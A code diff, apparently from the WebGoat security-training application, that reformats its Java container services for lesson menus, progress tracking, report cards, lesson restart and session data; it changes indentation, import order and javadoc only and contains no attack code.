+    @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json")
+    public
+    @ResponseBody
+    List<LessonMenuItem> showLeftNav() {
+        List<LessonMenuItem> menu = new ArrayList<>();
+        List<Category> categories = course.getCategories();
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());

-    for (Category category : categories) {
-      if (excludeCategories.contains(category.name())) {
-        continue;
-      }
-      LessonMenuItem categoryItem = new LessonMenuItem();
-      categoryItem.setName(category.getName());
-      categoryItem.setType(LessonMenuItemType.CATEGORY);
-      // check for any lessons for this category
-      List<Lesson> lessons = course.getLessons(category);
-      lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();
-      for (Lesson lesson : lessons) {
-        if (excludeLessons.contains(lesson.getName())) {
-          continue;
+        for (Category category : categories) {
+            if (excludeCategories.contains(category.name())) {
+                continue;
+            }
+            LessonMenuItem categoryItem = new LessonMenuItem();
+            categoryItem.setName(category.getName());
+            categoryItem.setType(LessonMenuItemType.CATEGORY);
+            // check for any lessons for this category
+            List<Lesson> lessons = course.getLessons(category);
+            lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();
+            for (Lesson lesson : lessons) {
+                if (excludeLessons.contains(lesson.getName())) {
+                    continue;
+                }
+                LessonMenuItem lessonItem = new LessonMenuItem();
+                lessonItem.setName(lesson.getTitle());
+                lessonItem.setLink(lesson.getLink());
+                lessonItem.setType(LessonMenuItemType.LESSON);
+                LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
+                boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
+                lessonItem.setComplete(lessonSolved);
+                categoryItem.addChild(lessonItem);
+            }
+            categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
+            menu.add(categoryItem);
        }
-        LessonMenuItem lessonItem = new LessonMenuItem();
-        lessonItem.setName(lesson.getTitle());
-        lessonItem.setLink(lesson.getLink());
-        lessonItem.setType(LessonMenuItemType.LESSON);
-        LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
-        boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
-        lessonItem.setComplete(lessonSolved);
-        categoryItem.addChild(lessonItem);
-      }
-      categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
-      menu.add(categoryItem);
-    }
-    return menu;
-  }
+        return menu;

-  private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
-    boolean result = true;
-    for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
-      Assignment storedAssignment = entry.getKey();
-      for (Assignment lessonAssignment : currentLesson.getAssignments()) {
-        if (lessonAssignment.getName().equals(storedAssignment.getName())) {
-          result = result && entry.getValue();
-          break;
-        }
-      }
    }
-    return result;
-  }
+
+    private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
+        boolean result = true;
+        for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
+            Assignment storedAssignment = entry.getKey();
+            for (Assignment lessonAssignment : currentLesson.getAssignments()) {
+                if (lessonAssignment.getName().equals(storedAssignment.getName())) {
+                    result = result && entry.getValue();
+                    break;
+                }
+            }
+
+        }
+        return result;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java
@ -1,6 +1,5 @@
 package org.owasp.webgoat.container.service;

-import java.util.List;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.RequiredArgsConstructor;
@ -11,8 +10,11 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

+import java.util.List;
+
+
 /**
- * LessonProgressService class.
+ * <p>LessonProgressService class.</p>
 *
 * @author webgoat
 */
@ -20,38 +22,38 @@ import org.springframework.web.bind.annotation.ResponseBody;
@RequiredArgsConstructor
 public class LessonProgressService {

-  private final UserTrackerRepository userTrackerRepository;
-  private final WebSession webSession;
+    private final UserTrackerRepository userTrackerRepository;
+    private final WebSession webSession;

-  /**
-   * Endpoint for fetching the complete lesson overview which informs the user about whether all the
-   * assignments are solved. Used as the last page of the lesson to generate a lesson overview.
-   *
-   * @return list of assignments
-   */
-  @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
-  @ResponseBody
-  public List<LessonOverview> lessonOverview() {
-    var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    var currentLesson = webSession.getCurrentLesson();
+    /**
+     * Endpoint for fetching the complete lesson overview which informs the user about whether all the assignments are solved.
+     * Used as the last page of the lesson to generate a lesson overview.
+     *
+     * @return list of assignments
+     */
+    @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
+    @ResponseBody
+    public List<LessonOverview> lessonOverview() {
+        var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        var currentLesson = webSession.getCurrentLesson();

-    if (currentLesson != null) {
-      var lessonTracker = userTracker.getLessonTracker(currentLesson);
-      return lessonTracker.getLessonOverview().entrySet().stream()
-          .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
-          .toList();
+        if (currentLesson != null) {
+            var lessonTracker = userTracker.getLessonTracker(currentLesson);
+            return lessonTracker.getLessonOverview().entrySet().stream()
+                    .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
+                    .toList();
+        }
+        return List.of();
    }
-    return List.of();
-  }

-  @AllArgsConstructor
-  @Getter
-  // Jackson does not really like returning a map of <Assignment, Boolean> directly, see
-  // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
-  // so creating intermediate object is the easiest solution
-  private static class LessonOverview {
+    @AllArgsConstructor
+    @Getter
+    //Jackson does not really like returning a map of <Assignment, Boolean> directly, see http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
+    //so creating intermediate object is the easiest solution
+    private static class LessonOverview {

-    private Assignment assignment;
-    private Boolean solved;
-  }
+        private Assignment assignment;
+        private Boolean solved;
+
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java
@ -6,8 +6,9 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

+
 /**
- * LessonTitleService class.
+ * <p>LessonTitleService class.</p>
 *
 * @author dm
 * @version $Id: $Id
@ -15,20 +16,23 @@ import org.springframework.web.bind.annotation.ResponseBody;
@Controller
 public class LessonTitleService {

-  private final WebSession webSession;
+    private final WebSession webSession;

-  public LessonTitleService(final WebSession webSession) {
-    this.webSession = webSession;
-  }
+    public LessonTitleService(final WebSession webSession) {
+        this.webSession = webSession;
+    }
+
+    /**
+     * Returns the title for the current attack
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html")
+    public
+    @ResponseBody
+    String showPlan() {
+        Lesson lesson = webSession.getCurrentLesson();
+        return lesson != null ? lesson.getTitle() : "";
+    }

-  /**
-   * Returns the title for the current attack
-   *
-   * @return a {@link java.lang.String} object.
-   */
-  @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html")
-  public @ResponseBody String showPlan() {
-    Lesson lesson = webSession.getCurrentLesson();
-    return lesson != null ? lesson.getTitle() : "";
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java
@ -1,34 +1,34 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at
+ * https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
+
 package org.owasp.webgoat.container.service;

-import java.util.ArrayList;
-import java.util.List;
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.Setter;
@ -43,8 +43,11 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

+import java.util.ArrayList;
+import java.util.List;
+
 /**
- * ReportCardService
+ * <p>ReportCardService</p>
 *
 * @author nbaars
 * @version $Id: $Id
@ -53,53 +56,52 @@ import org.springframework.web.bind.annotation.ResponseBody;
@AllArgsConstructor
 public class ReportCardService {

-  private final WebSession webSession;
-  private final UserTrackerRepository userTrackerRepository;
-  private final Course course;
-  private final PluginMessages pluginMessages;
+    private final WebSession webSession;
+    private final UserTrackerRepository userTrackerRepository;
+    private final Course course;
+    private final PluginMessages pluginMessages;

-  /**
-   * Endpoint which generates the report card for the current use to show the stats on the solved
-   * lessons
-   */
-  @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
-  @ResponseBody
-  public ReportCard reportCard() {
-    final ReportCard reportCard = new ReportCard();
-    reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
-    reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
+    /**
+     * Endpoint which generates the report card for the current use to show the stats on the solved lessons
+     */
+    @GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
+    @ResponseBody
+    public ReportCard reportCard() {
+        final ReportCard reportCard = new ReportCard();
+        reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
+        reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());

-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
-    reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
-    for (Lesson lesson : course.getLessons()) {
-      LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
-      final LessonStatistics lessonStatistics = new LessonStatistics();
-      lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
-      lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
-      lessonStatistics.setSolved(lessonTracker.isLessonSolved());
-      reportCard.lessonStatistics.add(lessonStatistics);
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
+        reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
+        for (Lesson lesson : course.getLessons()) {
+            LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
+            final LessonStatistics lessonStatistics = new LessonStatistics();
+            lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
+            lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
+            lessonStatistics.setSolved(lessonTracker.isLessonSolved());
+            reportCard.lessonStatistics.add(lessonStatistics);
+        }
+        return reportCard;
    }
-    return reportCard;
-  }

-  @Getter
-  @Setter
-  private final class ReportCard {
+    @Getter
+    @Setter
+    private final class ReportCard {

-    private int totalNumberOfLessons;
-    private int totalNumberOfAssignments;
-    private int solvedLessons;
-    private int numberOfAssignmentsSolved;
-    private int numberOfLessonsSolved;
-    private List<LessonStatistics> lessonStatistics = new ArrayList<>();
-  }
+        private int totalNumberOfLessons;
+        private int totalNumberOfAssignments;
+        private int solvedLessons;
+        private int numberOfAssignmentsSolved;
+        private int numberOfLessonsSolved;
+        private List<LessonStatistics> lessonStatistics =  new ArrayList<>();
+    }

-  @Setter
-  @Getter
-  private final class LessonStatistics {
-    private String name;
-    private boolean solved;
-    private int numberOfAttempts;
-  }
+    @Setter
+    @Getter
+    private final class LessonStatistics {
+        private String name;
+        private boolean solved;
+        private int numberOfAttempts;
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java
@ -24,8 +24,6 @@

 package org.owasp.webgoat.container.service;

-import java.util.List;
-import java.util.function.Function;
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
@ -39,30 +37,33 @@ import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseStatus;

+import java.util.List;
+import java.util.function.Function;
+
@Controller
@AllArgsConstructor
@Slf4j
 public class RestartLessonService {

-  private final WebSession webSession;
-  private final UserTrackerRepository userTrackerRepository;
-  private final Function<String, Flyway> flywayLessons;
-  private final List<Initializeable> lessonsToInitialize;
+    private final WebSession webSession;
+    private final UserTrackerRepository userTrackerRepository;
+    private final Function<String, Flyway> flywayLessons;
+    private final List<Initializeable> lessonsToInitialize;

-  @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
-  @ResponseStatus(value = HttpStatus.OK)
-  public void restartLesson() {
-    Lesson al = webSession.getCurrentLesson();
-    log.debug("Restarting lesson: " + al);
+    @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
+    @ResponseStatus(value = HttpStatus.OK)
+    public void restartLesson() {
+        Lesson al = webSession.getCurrentLesson();
+        log.debug("Restarting lesson: " + al);

-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    userTracker.reset(al);
-    userTrackerRepository.save(userTracker);
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        userTracker.reset(al);
+        userTrackerRepository.save(userTracker);

-    var flyway = flywayLessons.apply(webSession.getUserName());
-    flyway.clean();
-    flyway.migrate();
+        var flyway = flywayLessons.apply(webSession.getUserName());
+        flyway.clean();
+        flyway.migrate();

-    lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
-  }
+        lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/service/SessionService.java
+++ b/src/main/java/org/owasp/webgoat/container/service/SessionService.java
@ -17,17 +17,17 @@ import org.springframework.web.bind.annotation.ResponseBody;
@RequiredArgsConstructor
 public class SessionService {

-  private final WebSession webSession;
-  private final RestartLessonService restartLessonService;
-  private final Messages messages;
+    private final WebSession webSession;
+    private final RestartLessonService restartLessonService;
+    private final Messages messages;

-  @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
-  @ResponseBody
-  public String applySecurity() {
-    webSession.toggleSecurity();
-    restartLessonService.restartLesson();
+    @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
+    @ResponseBody
+    public String applySecurity() {
+        webSession.toggleSecurity();
+        restartLessonService.restartLesson();

-    var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
-    return messages.getMessage(msg);
-  }
+        var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
+        return messages.getMessage(msg);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/session/Course.java
+++ b/src/main/java/org/owasp/webgoat/container/session/Course.java
@ -1,36 +1,36 @@
 package org.owasp.webgoat.container.session;

-import java.util.List;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.lessons.Category;
 import org.owasp.webgoat.container.lessons.Lesson;

+import java.util.List;
+
 /**
 * ************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
 * @version $Id: $Id
@ -39,61 +39,60 @@ import org.owasp.webgoat.container.lessons.Lesson;
@Slf4j
 public class Course {

-  private List<Lesson> lessons;
+    private List<Lesson> lessons;

-  public Course(List<Lesson> lessons) {
-    this.lessons = lessons;
-  }
+    public Course(List<Lesson> lessons) {
+        this.lessons = lessons;
+    }

-  /**
-   * Gets the categories attribute of the Course object
-   *
-   * @return The categories value
-   */
-  public List<Category> getCategories() {
-    return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();
-  }
+    /**
+     * Gets the categories attribute of the Course object
+     *
+     * @return The categories value
+     */
+    public List<Category> getCategories() {
+        return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();
+    }

-  /**
-   * Gets the firstLesson attribute of the Course object
-   *
-   * @return The firstLesson value
-   */
-  public Lesson getFirstLesson() {
-    // Category 0 is the admin function. We want the first real category
-    // to be returned. This is normally the General category and the Http Basics lesson
-    return getLessons(getCategories().get(0)).get(0);
-  }
+    /**
+     * Gets the firstLesson attribute of the Course object
+     *
+     * @return The firstLesson value
+     */
+    public Lesson getFirstLesson() {
+        // Category 0 is the admin function. We want the first real category
+        // to be returned. This is normally the General category and the Http Basics lesson
+        return getLessons(getCategories().get(0)).get(0);
+    }

-  /**
-   * Getter for the field <code>lessons</code>.
-   *
-   * @return a {@link java.util.List} object.
-   */
-  public List<Lesson> getLessons() {
-    return this.lessons;
-  }
+    /**
+     * <p>Getter for the field <code>lessons</code>.</p>
+     *
+     * @return a {@link java.util.List} object.
+     */
+    public List<Lesson> getLessons() {
+        return this.lessons;
+    }

-  /**
-   * Getter for the field <code>lessons</code>.
-   *
-   * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
-   * @return a {@link java.util.List} object.
-   */
-  public List<Lesson> getLessons(Category category) {
-    return this.lessons.stream().filter(l -> l.getCategory() == category).toList();
-  }
+    /**
+     * <p>Getter for the field <code>lessons</code>.</p>
+     *
+     * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
+     * @return a {@link java.util.List} object.
+     */
+    public List<Lesson> getLessons(Category category) {
+        return this.lessons.stream().filter(l -> l.getCategory() == category).toList();
+    }

-  public void setLessons(List<Lesson> lessons) {
-    this.lessons = lessons;
-  }
+    public void setLessons(List<Lesson> lessons) {
+        this.lessons = lessons;
+    }

-  public int getTotalOfLessons() {
-    return this.lessons.size();
-  }
+    public int getTotalOfLessons() {
+        return this.lessons.size();
+    }

-  public int getTotalOfAssignments() {
-    return this.lessons.stream()
-        .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
-  }
+    public int getTotalOfAssignments() {
+        return this.lessons.stream().reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java
+++ b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java
@ -3,40 +3,44 @@ package org.owasp.webgoat.container.session;
 import java.io.Serializable;

 /**
- * LabelDebugger class.
+ * <p>LabelDebugger class.</p>
 *
 * @author dm
 * @version $Id: $Id
 */
 public class LabelDebugger implements Serializable {

-  private boolean enabled = false;
+    private boolean enabled = false;

-  /**
-   * isEnabled.
-   *
-   * @return a boolean.
-   */
-  public boolean isEnabled() {
-    return enabled;
-  }
+    /**
+     * <p>isEnabled.</p>
+     *
+     * @return a boolean.
+     */
+    public boolean isEnabled() {
+        return enabled;
+    }

-  /** Enables label debugging */
-  public void enable() {
-    this.enabled = true;
-  }
+    /**
+     * <p>Enables label debugging</p>
+     */
+    public void enable() {
+        this.enabled = true;
+    }

-  /** Disables label debugging */
-  public void disable() {
-    this.enabled = false;
-  }
+    /**
+     * <p>Disables label debugging</p>
+     */
+    public void disable() {
+        this.enabled = false;
+    }
+
+    /**
+     * <p>Sets the status to enabled</p>
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     */
+    public void setEnabled(boolean enabled)  {
+        this.enabled = enabled;
+    }

-  /**
-   * Sets the status to enabled
-   *
-   * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
-   */
-  public void setEnabled(boolean enabled) {
-    this.enabled = enabled;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java
+++ b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java
@ -2,31 +2,35 @@ package org.owasp.webgoat.container.session;

 import java.util.HashMap;

-/** Created by jason on 1/4/17. */
+/**
+ * Created by jason on 1/4/17.
+ */
 public class UserSessionData {

-  private HashMap<String, Object> userSessionData = new HashMap<>();
+    private HashMap<String,Object> userSessionData = new HashMap<>();

-  public UserSessionData() {}
-
-  public UserSessionData(String key, String value) {
-    setValue(key, value);
-  }
-
-  // GETTERS & SETTERS
-  public Object getValue(String key) {
-    if (!userSessionData.containsKey(key)) {
-      return null;
+    public UserSessionData() {
    }
-    // else
-    return userSessionData.get(key);
-  }

-  public void setValue(String key, Object value) {
-    if (userSessionData.containsKey(key)) {
-      userSessionData.replace(key, value);
-    } else {
-      userSessionData.put(key, value);
+    public UserSessionData(String key, String value) {
+        setValue(key,value);
    }
-  }
+
+    //GETTERS & SETTERS
+    public Object getValue(String key) {
+        if (!userSessionData.containsKey(key)) {
+            return null;
+        }
+        // else
+        return userSessionData.get(key);
+    }
+
+    public void setValue(String key, Object value) {
+        if (userSessionData.containsKey(key)) {
+            userSessionData.replace(key,value);
+        } else {
+            userSessionData.put(key,value);
+        }
+    }
+
 }
--- a/Show More
+++ b/Show More
				`@ -2,3 +2,4 @@`

				`Old GitHub page which now redirects to OWASP website.`